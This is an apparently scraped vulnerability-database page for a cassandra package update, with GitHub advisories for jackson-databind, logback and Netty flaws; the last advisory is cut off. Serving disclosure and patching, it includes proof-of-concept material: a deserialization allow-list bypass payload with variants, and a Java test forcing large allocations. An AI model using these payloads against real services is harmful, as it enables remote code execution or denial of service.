Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Package cassandra version 5.0.8-r1 fixes 42 vulnerabilities: ghsa-j3rv-43j4-c7qm, ghsa-rmj7-2vxq-3g9f, ghsa-5jmj-h7xm-6q6v, ghsa-3pjw-73gf-8qr5, ghsa-hgj6-7826-r7m5...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "cassandra"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.0.8-r1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"5.0.8-r1"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package cassandra version 5.0.8-r1 fixes 42 vulnerabilities: ghsa-j3rv-43j4-c7qm, ghsa-rmj7-2vxq-3g9f, ghsa-5jmj-h7xm-6q6v, ghsa-3pjw-73gf-8qr5, ghsa-hgj6-7826-r7m5...",
"id": "CLEANSTART-2026-NA65977",
"modified": "2026-08-14T05:56:56Z",
"published": "2026-08-13T12:10:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apache/cassandra"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in cassandra 5.0.8-r1",
"upstream": [
"ghsa-j3rv-43j4-c7qm",
"ghsa-rmj7-2vxq-3g9f",
"ghsa-5jmj-h7xm-6q6v",
"ghsa-3pjw-73gf-8qr5",
"ghsa-hgj6-7826-r7m5",
"ghsa-3qp7-7mw8-wx86",
"ghsa-x4gw-5cx5-pgmh",
"ghsa-c653-97m9-rcg9",
"ghsa-w573-9ffj-6ff9",
"ghsa-mj4r-2hfc-f8p6",
"ghsa-558v-64gr-wgg4",
"ghsa-45q3-82m4-75jr",
"ghsa-272m-gcwp-mpwg",
"ghsa-g7hg-vrcf-mvmr",
"ghsa-wc96-39fc-566f",
"ghsa-jhq6-gfmj-v8fx",
"ghsa-25qh-j22f-pwp8",
"ghsa-p47f-322f-whfh",
"ghsa-qqpg-mvqg-649v",
"CVE-2025-11226",
"CVE-2026-10532",
"ghsa-r7wm-3cxj-wff9",
"ghsa-72hv-8253-57qq",
"ghsa-xx22-p4ch-683r",
"CVE-2026-59949",
"CVE-2026-9828",
"CVE-2026-1225",
"CVE-2026-54513",
"CVE-2026-54512",
"CVE-2026-54514",
"CVE-2026-54515",
"CVE-2026-59888",
"CVE-2026-59901",
"CVE-2026-42583",
"CVE-2026-44249",
"CVE-2026-45416",
"CVE-2026-50010",
"CVE-2026-42578",
"CVE-2026-56820",
"CVE-2026-56821",
"CVE-2026-56822",
"CVE-2026-45536"
]
}
GHSA-HGJ6-7826-R7M5
Vulnerability from github – Published: 2026-06-23 21:22 – Updated: 2026-07-20 21:21Summary
JDKFromStringDeserializer constructed InetSocketAddress with new InetSocketAddress(host, port), which performs eager DNS name resolution for hostname inputs at deserialization time. An application that binds untrusted JSON into a type containing an InetSocketAddress field issues an attacker-chosen DNS query during readValue, before any application-level validation or connect logic. The fix uses InetSocketAddress.createUnresolved(host, port), deferring DNS to an explicit connect.
Impact
An attacker controlling JSON deserialized into an InetSocketAddress-bearing type can force outbound DNS lookups for attacker-chosen hostnames at deserialization time (SSRF / DNS-based out-of-band interaction / internal-resolver probing), purely from binding.
Affected / Patched (verified via git tag --contains on 1f5a103)
- 2.18 line:
>= 2.18.0, < 2.18.8-> fixed in 2.18.8 - 2.19-2.21 line:
>= 2.19.0, < 2.21.4-> fixed in 2.21.4 - 3.x line:
>= 3.0.0, < 3.1.4-> fixed in 3.1.4
Severity / CWE
Maintainer: minor. Reporter: LOW. CWE-918 (SSRF).
Upstream fix
FasterXML/jackson-databind#5951 ("Improve InetSocketAddress deserialization"). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.
Credits
Omkhar Arasaratnam (@omkhar) - finder.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.18.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54514"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T21:22:54Z",
"nvd_published_at": "2026-06-23T21:17:02Z",
"severity": "MODERATE"
},
"details": "## Summary\n`JDKFromStringDeserializer` constructed `InetSocketAddress` with `new InetSocketAddress(host, port)`, which performs eager DNS name resolution for hostname inputs at deserialization time. An application that binds untrusted JSON into a type containing an `InetSocketAddress` field issues an attacker-chosen DNS query during `readValue`, before any application-level validation or connect logic. The fix uses `InetSocketAddress.createUnresolved(host, port)`, deferring DNS to an explicit connect.\n\n## Impact\nAn attacker controlling JSON deserialized into an `InetSocketAddress`-bearing type can force outbound DNS lookups for attacker-chosen hostnames at deserialization time (SSRF / DNS-based out-of-band interaction / internal-resolver probing), purely from binding.\n\n## Affected / Patched (verified via `git tag --contains` on `1f5a103`)\n- 2.18 line: `\u003e= 2.18.0, \u003c 2.18.8` -\u003e fixed in **2.18.8**\n- 2.19-2.21 line: `\u003e= 2.19.0, \u003c 2.21.4` -\u003e fixed in **2.21.4**\n- 3.x line: `\u003e= 3.0.0, \u003c 3.1.4` -\u003e fixed in **3.1.4**\n\n## Severity / CWE\nMaintainer: minor. Reporter: LOW. CWE-918 (SSRF).\n\n## Upstream fix\nFasterXML/jackson-databind#5951 (\"Improve InetSocketAddress deserialization\"). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.\n\n## Credits\nOmkhar Arasaratnam (@omkhar) - finder.",
"id": "GHSA-hgj6-7826-r7m5",
"modified": "2026-07-20T21:21:18Z",
"published": "2026-06-23T21:22:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-hgj6-7826-r7m5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54514"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/pull/5951"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/1f5a1037b1e9e05920e755cb35f198bcd46667e4"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "jackson-databind: InetSocketAddress deserialization triggers eager DNS resolution (SSRF)"
}
GHSA-J3RV-43J4-C7QM
Vulnerability from github – Published: 2026-06-23 21:21 – Updated: 2026-07-20 21:21jackson-databind's PolymorphicTypeValidator (PTV) is the primary safety mechanism guarding polymorphic deserialization. When polymorphic typing is enabled and a type identifier contains generic parameters (i.e. the type ID string contains <), DatabindContext._resolveAndValidateGeneric() validates only the raw container class name (the substring before <) against the configured PTV.
If the container type is approved, the method parses the full canonical type string via TypeFactory.constructFromCanonical() and returns the fully parameterized type without ever validating the nested type arguments against the PTV. The nested type arguments are then resolved, instantiated, and populated as beans during deserialization.
An attacker who controls the type ID can therefore place a denied class as a generic type parameter of an allowed container — for example java.util.ArrayList<com.evil.Gadget> when only java.util.ArrayList is allow-listed. The container passes the PTV check; com.evil.Gadget is loaded via Class.forName(name, true, loader), instantiated, and its properties are set from attacker-controlled JSON. This completely bypasses an explicitly configured PTV allow-list.
This is the same vulnerability class responsible for the historical sequence of jackson-databind deserialization CVEs; here it manifests as a validator bypass rather than a missing deny-list entry.
Impact
- Bypass of the PTV allow-list, including the recommended
BasicPolymorphicTypeValidatorconfigured with name-prefix allow rules. - Arbitrary class instantiation of any type assignable to the container's element/parameter position, with attacker-controlled property values (setter/field injection).
- Potential unauthenticated remote code execution when a class with exploitable side effects (JNDI lookup, JDBC/connection-pool gadgets,
TemplatesImpl-style loaders, etc.) is present on the classpath.
Applications that accept untrusted JSON and rely on a configured PTV — the documented, security-conscious configuration — are affected.
Proof of Concept
Configuration restricting polymorphic deserialization to a single safe container:
BasicPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
.allowIfSubType("java.util.ArrayList")
.build();
ObjectMapper mapper = JsonMapper.builder()
.polymorphicTypeValidator(ptv)
.build();
Malicious payload (Wrapper.value is Object with @JsonTypeInfo(use = Id.CLASS, include = As.WRAPPER_ARRAY)):
{"value":["java.util.ArrayList<com.evil.EvilGadget>",[{"cmd":"calc.exe"}]]}
On vulnerable versions, com.evil.EvilGadget is instantiated and its cmd property is set, despite only java.util.ArrayList being allow-listed. On 2.18.8 / 2.21.4 / 3.1.4 the deserialization throws InvalidTypeIdException before instantiation.
Variant payloads (all bypass an ArrayList/HashMap allow-list):
| Type ID | Smuggled type position |
|---|---|
java.util.ArrayList<Evil> |
list element |
java.util.HashMap<Evil,String> |
map key |
java.util.HashMap<String,Evil> |
map value |
java.util.ArrayList<java.util.ArrayList<Evil>> |
nested element |
java.util.ArrayList<Evil[]> |
array element |
Patches
Fixed in 2.18.8, 2.21.4 and 3.1.4 via the changes for FasterXML/jackson-databind#5988, commit 434d6c511. The fix adds recursive validation of each non-trivial type parameter (and array element types appearing as parameters) through the full PTV chain, with documented exemptions for Object (wildcard resolution) and Enum types.
PolymorphicTypeValidator was added in 2.10.0 so vulnerability N/A for versions prior to that.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.18.7"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.10.0"
},
{
"fixed": "2.18.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.3"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.21.3"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.3"
},
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54512"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T21:21:38Z",
"nvd_published_at": "2026-06-23T21:17:02Z",
"severity": "HIGH"
},
"details": "`jackson-databind`\u0027s `PolymorphicTypeValidator` (PTV) is the primary safety mechanism guarding polymorphic deserialization. When polymorphic typing is enabled and a type identifier contains generic parameters (i.e. the type ID string contains `\u003c`), `DatabindContext._resolveAndValidateGeneric()` validates **only the raw container class name** (the substring before `\u003c`) against the configured PTV.\n\nIf the container type is approved, the method parses the full canonical type string via `TypeFactory.constructFromCanonical()` and returns the fully parameterized type **without ever validating the nested type arguments** against the PTV. The nested type arguments are then resolved, instantiated, and populated as beans during deserialization.\n\nAn attacker who controls the type ID can therefore place a denied class as a generic type parameter of an allowed container \u2014 for example `java.util.ArrayList\u003ccom.evil.Gadget\u003e` when only `java.util.ArrayList` is allow-listed. The container passes the PTV check; `com.evil.Gadget` is loaded via `Class.forName(name, true, loader)`, instantiated, and its properties are set from attacker-controlled JSON. This completely bypasses an explicitly configured PTV allow-list.\n\nThis is the same vulnerability class responsible for the historical sequence of jackson-databind deserialization CVEs; here it manifests as a validator bypass rather than a missing deny-list entry.\n\n\n## Impact\n\n- **Bypass of the PTV allow-list**, including the recommended `BasicPolymorphicTypeValidator` configured with name-prefix allow rules.\n- **Arbitrary class instantiation** of any type assignable to the container\u0027s element/parameter position, with attacker-controlled property values (setter/field injection).\n- **Potential unauthenticated remote code execution** when a class with exploitable side effects (JNDI lookup, JDBC/connection-pool gadgets,`TemplatesImpl`-style loaders, etc.) is present on the classpath.\n\nApplications that accept untrusted JSON and rely on a configured PTV \u2014 the documented, security-conscious configuration \u2014 are affected.\n\n\n## Proof of Concept\n\nConfiguration restricting polymorphic deserialization to a single safe container:\n\n```java\nBasicPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()\n .allowIfSubType(\"java.util.ArrayList\")\n .build();\n\nObjectMapper mapper = JsonMapper.builder()\n .polymorphicTypeValidator(ptv)\n .build();\n```\n\nMalicious payload (`Wrapper.value` is `Object` with `@JsonTypeInfo(use = Id.CLASS, include = As.WRAPPER_ARRAY)`):\n\n```json\n{\"value\":[\"java.util.ArrayList\u003ccom.evil.EvilGadget\u003e\",[{\"cmd\":\"calc.exe\"}]]}\n```\n\nOn vulnerable versions, `com.evil.EvilGadget` is instantiated and its `cmd` property is set, despite only `java.util.ArrayList` being allow-listed. On `2.18.8` / `2.21.4` / `3.1.4` the deserialization throws `InvalidTypeIdException` before instantiation.\n\n**Variant payloads** (all bypass an `ArrayList`/`HashMap` allow-list):\n\n| Type ID | Smuggled type position |\n|---|---|\n| `java.util.ArrayList\u003cEvil\u003e` | list element |\n| `java.util.HashMap\u003cEvil,String\u003e` | map key |\n| `java.util.HashMap\u003cString,Evil\u003e` | map value |\n| `java.util.ArrayList\u003cjava.util.ArrayList\u003cEvil\u003e\u003e` | nested element |\n| `java.util.ArrayList\u003cEvil[]\u003e` | array element |\n\n---\n\n## Patches\n\nFixed in **2.18.8**, **2.21.4** and **3.1.4** via the changes for [FasterXML/jackson-databind#5988](https://github.com/FasterXML/jackson-databind/issues/5988), commit `434d6c511`. The fix adds recursive validation of each non-trivial type parameter (and array element types appearing as parameters) through the full PTV chain, with documented exemptions for `Object` (wildcard resolution) and `Enum` types.\n\n`PolymorphicTypeValidator` was added in 2.10.0 so vulnerability N/A for versions prior to that.",
"id": "GHSA-j3rv-43j4-c7qm",
"modified": "2026-07-20T21:21:12Z",
"published": "2026-06-23T21:21:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-j3rv-43j4-c7qm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54512"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/issues/5988"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/434d6c511de7fdd9872f29157aafb6162d12d8d5"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "jackson-databind has a PolymorphicTypeValidator bypass via generic type parameters that allows arbitrary class instantiation"
}
GHSA-JHQ6-GFMJ-V8FX
Vulnerability from github – Published: 2026-06-01 15:30 – Updated: 2026-07-15 21:52Deserialization of untrusted data vulnerability in QOS.CH Sarl logback logback-core (HardenedObjectInputStream (logback-core) modules) allows Object Injection, albeit heavily restricted.
More precisely, an attacker able to influence serialized data sent to SimpleSocketServer or SimpleSSLSocketServer can instantiate Proxy objects.
Although deserialization is heavily restricted by HardenedObjectInputStream and no practical way to achieve remote code execution or significant privilege escalation has been identified, this issue constitutes a bypass of the intended security restrictions.
This issue affects logback: through 1.5.33 inclusive.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "ch.qos.logback:logback-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.34"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-10532"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-08T20:26:32Z",
"nvd_published_at": "2026-06-01T13:16:30Z",
"severity": "LOW"
},
"details": "Deserialization of untrusted data vulnerability in QOS.CH Sarl logback logback-core (HardenedObjectInputStream (logback-core) modules) allows Object Injection, albeit heavily restricted.\n\nMore precisely, an attacker able to influence serialized data sent to SimpleSocketServer or SimpleSSLSocketServer can instantiate Proxy objects.\n\n\nAlthough deserialization is heavily restricted by HardenedObjectInputStream and no practical way to achieve remote code execution or significant privilege escalation has been identified, this issue constitutes a bypass of the intended security restrictions.\n\n\n\nThis issue affects logback: through 1.5.33 inclusive.",
"id": "GHSA-jhq6-gfmj-v8fx",
"modified": "2026-07-15T21:52:54Z",
"published": "2026-06-01T15:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10532"
},
{
"type": "PACKAGE",
"url": "https://github.com/qos-ch/logback"
},
{
"type": "WEB",
"url": "https://github.com/qos-ch/logback/releases/tag/v_1.5.34"
},
{
"type": "WEB",
"url": "https://logback.qos.ch/news.html#1.5.34"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:P/RE:M/U:Green",
"type": "CVSS_V4"
}
],
"summary": "Logback vulnerable to Object Injection through HardenedObjectInputStream modules"
}
GHSA-MJ4R-2HFC-F8P6
Vulnerability from github – Published: 2026-05-07 00:20 – Updated: 2026-05-14 20:41Summary
Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation.
Details
io.netty.handler.codec.compression.Lz4FrameDecoder#decode
Header fields are trusted for sizing. On the compressed path, after readableBytes >= compressedLength, the decoder does ctx.alloc().buffer(decompressedLength, decompressedLength) then decompresses.
PoC
The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB
@Test
void test() throws Exception {
EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
try {
AtomicReference<Throwable> serverError = new AtomicReference<>();
CountDownLatch latch = new CountDownLatch(1);
ServerBootstrap server = new ServerBootstrap()
.group(workerGroup)
.channel(NioServerSocketChannel.class)
.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline()
.addLast(new Lz4FrameDecoder())
.addLast(new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
if (cause instanceof DecoderException) {
serverError.set(cause.getCause());
} else {
serverError.set(cause);
}
latch.countDown();
}
});
}
});
ChannelFuture serverChannel = server.bind(0).sync();
Bootstrap client = new Bootstrap()
.group(workerGroup)
.channel(NioSocketChannel.class)
.handler(new ChannelInboundHandlerAdapter() {
@Override
public void channelActive(ChannelHandlerContext ctx) {
ByteBuf buf = ctx.alloc().buffer(22, 22);
buf.writeLong(MAGIC_NUMBER);
buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
buf.writeIntLE(1);
buf.writeIntLE(1 << 25);
buf.writeIntLE(0);
buf.writeByte(0);
ctx.writeAndFlush(buf);
ctx.fireChannelActive();
}
});
ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();
assertTrue(latch.await(10, TimeUnit.SECONDS));
assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());
clientChannel.channel().close();
serverChannel.channel().close();
} finally {
workerGroup.shutdownGracefully();
}
}
Impact
Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-compression"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42583"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:20:35Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "HIGH"
},
"details": "### Summary\nLz4FrameDecoder allocates a ByteBuf of size `decompressedLength` (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus `compressedLength` payload bytes - 22 bytes if `compressedLength == 1` - to force that allocation.\n\n### Details\nio.netty.handler.codec.compression.Lz4FrameDecoder#decode\nHeader fields are trusted for sizing. On the compressed path, after `readableBytes \u003e= compressedLength`, the decoder does `ctx.alloc().buffer(decompressedLength, decompressedLength)` then decompresses.\n\n### PoC\nThe test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB\n\n```java\n @Test\n void test() throws Exception {\n EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n try {\n AtomicReference\u003cThrowable\u003e serverError = new AtomicReference\u003c\u003e();\n CountDownLatch latch = new CountDownLatch(1);\n\n ServerBootstrap server = new ServerBootstrap()\n .group(workerGroup)\n .channel(NioServerSocketChannel.class)\n .childHandler(new ChannelInitializer\u003cSocketChannel\u003e() {\n @Override\n protected void initChannel(SocketChannel ch) {\n ch.pipeline()\n .addLast(new Lz4FrameDecoder())\n .addLast(new ChannelInboundHandlerAdapter() {\n @Override\n public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n if (cause instanceof DecoderException) {\n serverError.set(cause.getCause());\n } else {\n serverError.set(cause);\n }\n latch.countDown();\n }\n });\n }\n });\n\n ChannelFuture serverChannel = server.bind(0).sync();\n\n Bootstrap client = new Bootstrap()\n .group(workerGroup)\n .channel(NioSocketChannel.class)\n .handler(new ChannelInboundHandlerAdapter() {\n @Override\n public void channelActive(ChannelHandlerContext ctx) {\n ByteBuf buf = ctx.alloc().buffer(22, 22);\n buf.writeLong(MAGIC_NUMBER);\n buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);\n buf.writeIntLE(1);\n buf.writeIntLE(1 \u003c\u003c 25);\n buf.writeIntLE(0);\n buf.writeByte(0);\n\n ctx.writeAndFlush(buf);\n\n ctx.fireChannelActive();\n }\n });\n\n ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();\n\n assertTrue(latch.await(10, TimeUnit.SECONDS));\n\n assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());\n\n clientChannel.channel().close();\n serverChannel.channel().close();\n } finally {\n workerGroup.shutdownGracefully();\n }\n }\n```\n\n### Impact\nUntrusted senders without per-channel / aggregate limits can stress memory with many small requests.",
"id": "GHSA-mj4r-2hfc-f8p6",
"modified": "2026-05-14T20:41:13Z",
"published": "2026-05-07T00:20:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-mj4r-2hfc-f8p6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42583"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty Lz4FrameDecoder is vulnerable to resource exhaustion "
}
GHSA-P47F-322F-WHFH
Vulnerability from github – Published: 2026-05-28 15:39 – Updated: 2026-07-02 13:55Deserialization of untrusted data vulnerability in QOS.CH Sarl logback logback-core (HardenedObjectInputStream (logback-core) modules) allows Object Injection albeit heavily restricted.
More precisely, an attacker able to influence serialized data sent to SimpleSocketServer or SimpleSSLSocketServer can instantiate objects from classes in the java.lang and java.util packages that are not explicitly blocked.
Although deserialization is heavily restricted by HardenedObjectInputStream and no practical way to achieve remote code execution or significant privilege escalation has been identified, this issue constitutes a bypass of the intended security restrictions.
This issue affects logback: through 1.5.32 inclusive.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.5.32"
},
"package": {
"ecosystem": "Maven",
"name": "ch.qos.logback:logback-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.33"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-9828"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-02T13:55:30Z",
"nvd_published_at": "2026-05-28T14:16:27Z",
"severity": "LOW"
},
"details": "Deserialization of untrusted data vulnerability in QOS.CH Sarl logback logback-core (HardenedObjectInputStream (logback-core) modules) allows Object Injection albeit heavily restricted.\n\nMore precisely, an attacker able to influence serialized data sent to SimpleSocketServer or SimpleSSLSocketServer can instantiate objects from classes in the java.lang and java.util packages that are not explicitly blocked.\n\nAlthough deserialization is heavily restricted by HardenedObjectInputStream and no practical way to achieve remote code execution or significant privilege escalation has been identified, this issue constitutes a bypass of the intended security restrictions.\n\nThis issue affects logback: through 1.5.32 inclusive.",
"id": "GHSA-p47f-322f-whfh",
"modified": "2026-07-02T13:55:30Z",
"published": "2026-05-28T15:39:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9828"
},
{
"type": "PACKAGE",
"url": "https://github.com/qos-ch/logback"
},
{
"type": "WEB",
"url": "https://logback.qos.ch/news.html#1.5.33"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:P/RE:L/U:Green",
"type": "CVSS_V4"
}
],
"summary": "QOS.CH Sarl logback logback-core has a deserialization of untrusted data vulnerability"
}
GHSA-QQPG-MVQG-649V
Vulnerability from github – Published: 2026-01-22 12:31 – Updated: 2026-01-22 18:06ACE vulnerability in configuration file processing by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file.
The instantiation of a potentially malicious Java class requires that said class is present on the user's class-path. In addition, the attacker must have write access to a configuration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "ch.qos.logback:logback-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.25"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-1225"
],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-22T18:06:44Z",
"nvd_published_at": "2026-01-22T10:16:07Z",
"severity": "LOW"
},
"details": "ACE vulnerability in configuration file processing by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file.\n\nThe instantiation of a potentially malicious Java class requires that said class is present on the user\u0027s class-path. In addition, the attacker must have write access to a configuration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado.",
"id": "GHSA-qqpg-mvqg-649v",
"modified": "2026-01-22T18:06:44Z",
"published": "2026-01-22T12:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1225"
},
{
"type": "WEB",
"url": "https://github.com/qos-ch/logback/issues/997"
},
{
"type": "WEB",
"url": "https://github.com/qos-ch/logback/commit/1f97ae1844b1be8486e4e9cade98d7123d3eded5"
},
{
"type": "PACKAGE",
"url": "https://github.com/qos-ch/logback"
},
{
"type": "WEB",
"url": "https://logback.qos.ch/news.html#1.5.25"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L",
"type": "CVSS_V4"
}
],
"summary": "Logback allows an attacker to instantiate classes already present on the class path"
}
GHSA-R7WM-3CXJ-WFF9
Vulnerability from github – Published: 2026-07-21 21:58 – Updated: 2026-08-03 20:30Summary
The fix released in jackson-core 2.18.6 and 2.21.1 for GHSA-72hv-8253-57qq (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit b0c428e6 (#1555) wired validateIntegerLength into a new _setIntLength helper and called it at every place where the integer portion of a number is decided (terminator byte arrived, . / e/E seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: "ran out of input while still inside MINOR_NUMBER_INTEGER_DIGITS, return NOT_AVAILABLE to caller".
